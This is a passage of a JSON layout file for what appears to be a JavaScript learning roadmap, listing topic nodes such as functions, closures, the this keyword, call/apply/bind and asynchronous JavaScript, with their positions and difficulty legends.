\"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1035.621006295467\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"k9rSR-YQ8B_iRcXNm2btP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1088.621006295467\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Unary Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1088.621006295467\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"k8bJH9qydZm8I9rhH7rXw\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -204.2816601458129,\n        \"y\": 1468.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        },\n        \"oldId\": \"_6vZa43gWjxO2OcD1iCCQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -204.2816601458129,\n        \"y\": 1468.3694458007812\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"R1D4fsZliHv7wIo8Tj-kp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 9.766725520174532,\n        \"y\": 1362.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Function Parameters\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 9.766725520174532,\n        \"y\": 1362.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fr0NChxMXLpJizyMhXcXS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 9.766725520174532,\n        \"y\": 1415.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Arrow Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 9.766725520174532,\n        \"y\": 1415.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YZlCoPvZuX5MmpLOTj5d4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 9.766725520174532,\n        \"y\": 1468.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IIFEs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 9.766725520174532,\n        \"y\": 1468.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QLC7bW-qHskLH2HOA-Sko\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 9.766725520174532,\n        \"y\": 1521.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"arguments object\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 9.766725520174532,\n        \"y\": 1521.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ISNzEYtrWe2v0R7Xfl5k-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 9.766725520174532,\n        \"y\": 1574.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Scope & Function Stack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 9.766725520174532,\n        \"y\": 1574.3694458007812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s8wUJivWmetysJ8bt9FBC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 9.766725520174532,\n        \"y\": 1627.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Built-in Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 9.766725520174532,\n        \"y\": 1627.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8X8mRl-puL0Lp43dO5mha\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 8.766725520174532,\n        \"y\": 1286.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Default Params\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 164,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 164,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 8.766725520174532,\n        \"y\": 1286.3694458007812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-_6q0bIjQrvAaCWrVkASO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 174.76672552017453,\n        \"y\": 1286.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 174.76672552017453,\n        \"y\": 1286.3694458007812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YJGhhFuWmFvhRKOg6nwON\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 356.3723602294922,\n        \"y\": 1518.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Recursion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 166,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.3723602294922,\n        \"y\": 1518.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"q7b5iMJ1Lfka5A-K-YcaN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 356.3723602294922,\n        \"y\": 1571.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lexical Scoping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 166,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.3723602294922,\n        \"y\": 1571.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"itS6B12I8I1KNCPvc0KCQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 356.3723602294922,\n        \"y\": 1624.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Closures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 166,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.3723602294922,\n        \"y\": 1624.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Xw8lb0xCWKmNs4KZfhBUy\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -204.62877362673987,\n        \"y\": 1686.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Strict Mode\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        },\n        \"oldId\": \"k8bJH9qydZm8I9rhH7rXw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -204.62877362673987,\n        \"y\": 1686.3694458007812\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fm2CuL1IZp3hnrLrPUX7U\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -204.2816601458129,\n        \"y\": 1792.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Using (this) keyword\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -204.2816601458129,\n        \"y\": 1792.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3E5MuxPvEJU-dwgTrbQAR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1686.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"in a method\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1686.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"azsXq6Y5iCvQDgTWZpWQ3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1739.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"in a function\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1739.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qps2Mdm-lwa4Wr0IxKm0C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1792.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"using it alone\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1792.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JVbEBtVrTTFnTF3_yUIAC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1845.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"in event handlers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1845.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"P0190rTm2wLQmCzWOKour\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1898.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"in arrow functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1898.3694458007812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EAN6DCiCfSq04R4vKgZ0q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -203.1276397705078,\n        \"y\": 1869.8694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Function Borrowing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -203.1276397705078,\n        \"y\": 1869.8694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"p2NhSwPYMtRiPRHjPaqmX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -203.1276397705078,\n        \"y\": 1922.8694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Explicit Binding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -203.1276397705078,\n        \"y\": 1922.8694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gsyY3Oa3Jf0W5K_lyqBYO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -199.6276397705078,\n        \"y\": 1996.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"call\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 56,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 56,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -199.6276397705078,\n        \"y\": 1996.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 56,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-BtF34cEzI6J8sZCDRlRE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -140.6276397705078,\n        \"y\": 1996.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"apply\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -140.6276397705078,\n        \"y\": 1996.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dbercnxXVTJXMpYSDNGb2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -61.62763977050781,\n        \"y\": 1996.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"bind\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -61.62763977050781,\n        \"y\": 1996.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sFOqx6_7poVIVuXhJVY0E\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 103.55738234743455,\n        \"y\": 1793.8694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Asynchronous JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 103.55738234743455,\n        \"y\": 1793.8694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_bs5NNHVdHLWGBmpYwHMi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 106.55738234743455,\n        \"y\": 1708.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Event Loop\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n          \"label\": \"Advanced Topics / pick these at last\",\n          \"color\": \"#000\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 106.55738234743455,\n        \"y\": 1708.3694458007812\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wXypuqEmFLIubx-QQvDIr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.6719904951085,\n        \"y\": 1874.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"setTimeout\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.6719904951085,\n        \"y\": 1874.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jaC3XXudd7OBKwwCpoPFf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.6719904951085,\n        \"y\": 1927.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"setInterval\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.6719904951085,\n        \"y\": 1927.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D8oGY7pdviRByaz6c9sU6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 389.171875,\n        \"y\": 1770.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Callbacks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 389.171875,\n        \"y\": 1770.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      